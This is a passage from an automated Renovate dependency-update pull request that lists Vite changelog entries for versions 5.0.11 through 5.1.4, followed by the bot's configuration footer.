([7cfe80d](https://redirect.github.com/vitejs/vite/commit/7cfe80d)), closes [#16028](https://redirect.github.com/vitejs/vite/issues/16028) ### [`v5.1.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small514-2024-02-21-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.3...v5.1.4) - perf: remove unnecessary regex s modifier ([#15766](https://redirect.github.com/vitejs/vite/issues/15766)) ([8dc1b73](https://redirect.github.com/vitejs/vite/commit/8dc1b73)), closes [#15766](https://redirect.github.com/vitejs/vite/issues/15766) - fix: fs cached checks disabled by default for yarn pnp ([#15920](https://redirect.github.com/vitejs/vite/issues/15920)) ([8b11fea](https://redirect.github.com/vitejs/vite/commit/8b11fea)), closes [#15920](https://redirect.github.com/vitejs/vite/issues/15920) - fix: resolve directory correctly when `fs.cachedChecks: true` ([#15983](https://redirect.github.com/vitejs/vite/issues/15983)) ([4fe971f](https://redirect.github.com/vitejs/vite/commit/4fe971f)), closes [#15983](https://redirect.github.com/vitejs/vite/issues/15983) - fix: srcSet with optional descriptor ([#15905](https://redirect.github.com/vitejs/vite/issues/15905)) ([81b3bd0](https://redirect.github.com/vitejs/vite/commit/81b3bd0)), closes [#15905](https://redirect.github.com/vitejs/vite/issues/15905) - fix(deps): update all non-major dependencies ([#15959](https://redirect.github.com/vitejs/vite/issues/15959)) ([571a3fd](https://redirect.github.com/vitejs/vite/commit/571a3fd)), closes [#15959](https://redirect.github.com/vitejs/vite/issues/15959) - fix(watch): build watch fails when outDir is empty string ([#15979](https://redirect.github.com/vitejs/vite/issues/15979)) ([1d263d3](https://redirect.github.com/vitejs/vite/commit/1d263d3)), closes [#15979](https://redirect.github.com/vitejs/vite/issues/15979) ### [`v5.1.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small513-2024-02-15-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.2...v5.1.3) - fix: cachedTransformMiddleware for direct css requests ([#15919](https://redirect.github.com/vitejs/vite/issues/15919)) ([5099028](https://redirect.github.com/vitejs/vite/commit/5099028)), closes [#15919](https://redirect.github.com/vitejs/vite/issues/15919) - refactor(runtime): minor tweaks ([#15904](https://redirect.github.com/vitejs/vite/issues/15904)) ([63a39c2](https://redirect.github.com/vitejs/vite/commit/63a39c2)), closes [#15904](https://redirect.github.com/vitejs/vite/issues/15904) - refactor(runtime): seal ES module namespace object instead of feezing ([#15914](https://redirect.github.com/vitejs/vite/issues/15914)) ([4172f02](https://redirect.github.com/vitejs/vite/commit/4172f02)), closes [#15914](https://redirect.github.com/vitejs/vite/issues/15914) ### [`v5.1.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small512-2024-02-14-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.1...v5.1.2) - fix: normalize import file path info ([#15772](https://redirect.github.com/vitejs/vite/issues/15772)) ([306df44](https://redirect.github.com/vitejs/vite/commit/306df44)), closes [#15772](https://redirect.github.com/vitejs/vite/issues/15772) - fix(build): do not output build time when build fails ([#15711](https://redirect.github.com/vitejs/vite/issues/15711)) ([added3e](https://redirect.github.com/vitejs/vite/commit/added3e)), closes [#15711](https://redirect.github.com/vitejs/vite/issues/15711) - fix(runtime): pass path instead of fileURL to `isFilePathESM` ([#15908](https://redirect.github.com/vitejs/vite/issues/15908)) ([7b15607](https://redirect.github.com/vitejs/vite/commit/7b15607)), closes [#15908](https://redirect.github.com/vitejs/vite/issues/15908) - fix(worker): support UTF-8 encoding in inline workers (fixes [#12117](https://redirect.github.com/vitejs/vite/issues/12117)) ([#15866](https://redirect.github.com/vitejs/vite/issues/15866)) ([570e0f1](https://redirect.github.com/vitejs/vite/commit/570e0f1)), closes [#12117](https://redirect.github.com/vitejs/vite/issues/12117) [#15866](https://redirect.github.com/vitejs/vite/issues/15866) - chore: update license file ([#15885](https://redirect.github.com/vitejs/vite/issues/15885)) ([d9adf18](https://redirect.github.com/vitejs/vite/commit/d9adf18)), closes [#15885](https://redirect.github.com/vitejs/vite/issues/15885) - chore(deps): update all non-major dependencies ([#15874](https://redirect.github.com/vitejs/vite/issues/15874)) ([d16ce5d](https://redirect.github.com/vitejs/vite/commit/d16ce5d)), closes [#15874](https://redirect.github.com/vitejs/vite/issues/15874) - chore(deps): update dependency dotenv-expand to v11 ([#15875](https://redirect.github.com/vitejs/vite/issues/15875)) ([642d528](https://redirect.github.com/vitejs/vite/commit/642d528)), closes [#15875](https://redirect.github.com/vitejs/vite/issues/15875) ### [`v5.1.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small511-2024-02-09-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.0...v5.1.1) - fix: empty CSS file was output when only .css?url is used ([#15846](https://redirect.github.com/vitejs/vite/issues/15846)) ([b2873ac](https://redirect.github.com/vitejs/vite/commit/b2873ac)), closes [#15846](https://redirect.github.com/vitejs/vite/issues/15846) - fix: skip not only .js but also .mjs manifest entries ([#15841](https://redirect.github.com/vitejs/vite/issues/15841)) ([3d860e7](https://redirect.github.com/vitejs/vite/commit/3d860e7)), closes [#15841](https://redirect.github.com/vitejs/vite/issues/15841) - chore: post 5.1 release edits ([#15840](https://redirect.github.com/vitejs/vite/issues/15840)) ([9da6502](https://redirect.github.com/vitejs/vite/commit/9da6502)), closes [#15840](https://redirect.github.com/vitejs/vite/issues/15840) ### [`v5.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#510-2024-02-08) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.13...v5.1.0) - chore: revert [#15746](https://redirect.github.com/vitejs/vite/issues/15746) ([#15839](https://redirect.github.com/vitejs/vite/issues/15839)) ([ed875f8](https://redirect.github.com/vitejs/vite/commit/ed875f8)), closes [#15746](https://redirect.github.com/vitejs/vite/issues/15746) [#15839](https://redirect.github.com/vitejs/vite/issues/15839) - fix: pass `customLogger` to `loadConfigFromFile` (fix [#15824](https://redirect.github.com/vitejs/vite/issues/15824)) ([#15831](https://redirect.github.com/vitejs/vite/issues/15831)) ([55a3427](https://redirect.github.com/vitejs/vite/commit/55a3427)), closes [#15824](https://redirect.github.com/vitejs/vite/issues/15824) [#15831](https://redirect.github.com/vitejs/vite/issues/15831) - fix(deps): update all non-major dependencies ([#15803](https://redirect.github.com/vitejs/vite/issues/15803)) ([e0a6ef2](https://redirect.github.com/vitejs/vite/commit/e0a6ef2)), closes [#15803](https://redirect.github.com/vitejs/vite/issues/15803) - refactor: remove `vite build --force` ([#15837](https://redirect.github.com/vitejs/vite/issues/15837)) ([f1a4242](https://redirect.github.com/vitejs/vite/commit/f1a4242)), closes [#15837](https://redirect.github.com/vitejs/vite/issues/15837) ### [`v5.0.13`](https://redirect.github.com/vitejs/vite/releases/tag/v5.0.13) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.12...v5.0.13) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.0.13/packages/vite/CHANGELOG.md) for details. ### [`v5.0.12`](https://redirect.github.com/vitejs/vite/releases/tag/v5.0.12) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.11...v5.0.12) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.0.12/packages/vite/CHANGELOG.md) for details. ### [`v5.0.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5011-2024-01-05-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.10...v5.0.11) - fix: don't pretransform classic script links ([#15361](https://redirect.github.com/vitejs/vite/issues/15361)) ([19e3c9a](https://redirect.github.com/vitejs/vite/commit/19e3c9a)), closes [#15361](https://redirect.github.com/vitejs/vite/issues/15361) - fix: inject `__vite__mapDeps` code before sourcemap file comment ([#15483](https://redirect.github.com/vitejs/vite/issues/15483)) ([d2aa096](https://redirect.github.com/vitejs/vite/commit/d2aa096)), closes [#15483](https://redirect.github.com/vitejs/vite/issues/15483) - fix(assets): avoid splitting `,` inside base64 value of `srcset` attribute ([#15422](https://redirect.github.com/vitejs/vite/issues/15422)) ([8de7bd2](https://redirect.github.com/vitejs/vite/commit/8de7bd2)), closes [#15422](https://redirect.github.com/vitejs/vite/issues/15422) - fix(html): handle offset magic-string slice error ([#15435](https://redirect.github.com/vitejs/vite/issues/15435)) ([5ea9edb](https://redirect.github.com/vitejs/vite/commit/5ea9edb)), closes [#15435](https://redirect.github.com/vitejs/vite/issues/15435) - chore(deps): update dependency strip-literal to v2 ([#15475](https://redirect.github.com/vitejs/vite/issues/15475)) ([49d21fe](https://redirect.github.com/vitejs/vite/commit/49d21fe)), closes [#15475](https://redirect.github.com/vitejs/vite/issues/15475) - chore(deps): update tj-actions/changed-files action to v41 ([#15476](https://redirect.github.com/vitejs/vite/issues/15476)) ([2a540ee](https://redirect.github.com/vitejs/vite/commit/2a540ee)), closes [#15476](https://redirect.github.com/vitejs/vite/issues/15476)Configuration
📅 Schedule: Branch creation - "" in timezone America/Los_Angeles, Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.